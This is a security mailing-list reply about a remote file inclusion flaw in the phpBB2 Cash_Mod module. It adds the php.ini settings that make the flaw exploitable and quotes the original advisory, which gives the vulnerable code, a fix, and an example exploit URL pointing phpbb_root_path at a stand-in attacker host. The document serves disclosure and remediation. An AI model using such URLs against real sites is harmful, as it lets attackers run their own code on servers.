Re: Vulnerabilities in forum phpBB2 with Cash_Mod (all ver.)

[Rafael San Miguel Carrasco <smcsoc@xxxxxxxx>]

Let me just point out that this vulnerability can only be exploited if
two options in php.ini are enabled:

- allow_url_fopen
- register_globals

The first one allows to access and retrieve http resources from fopen;
the second lets a user specify GET or POST parameters that will be
translated into PHP variables.

For more information about PHP insertion and how it can be recognized
and exploited:
http://www.fistconference.org/data/presentaciones/exploitingwebapplications.tar

Greetings.

-------------------------------
Rafael San Miguel Carrasco
Security Consultant
Davinci Consulting
-------------------------------

Jerome ATHIAS wrote:

> Hi all 
>
> phpBB is a very popular message board using modules extensions. 
>
> One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side. 
>
> Let’s start : 
>
> In file /admin/admin_cash.php 
>
> ….. 
> if ( !empty($setmodules) ) 
> { 
> include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
> $menu = array(); 
> admin_menu($menu); 
> …. 
>
> First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but 
> $phpbb_root_path & .$phpEx – are *NOT* define yet! 
>
>
> I don’t know why, but someone decided to define these variables later in the code : 
>
> …… 
> // 
> // Let's set the root dir for phpBB 
> // 
> $phpbb_root_path = "./../"; 
> require($phpbb_root_path . 'extension.inc'); 
> require('./pagestart.' . $phpEx); 
> include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 
>
> ….. 
>
> Well, any user can rewrite these parameters with GET or POST requests. 
>
> Example : 
> http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/ 
>
>
> Fix : 
> Set all default parameters after “if ( !empty($setmodules) )” 
>
> Example : 
>
> // 
> // Let's set the root dir for phpBB 
> // 
> $phpbb_root_path = "./../"; 
> require($phpbb_root_path . 'extension.inc'); 
> require('./pagestart.' . $phpEx); 
> include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); 
>
> if ( !empty($setmodules) ) 
> { 
> include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); 
> $menu = array(); 
> admin_menu($menu); 
>
>
> Thank you rofl!
>
>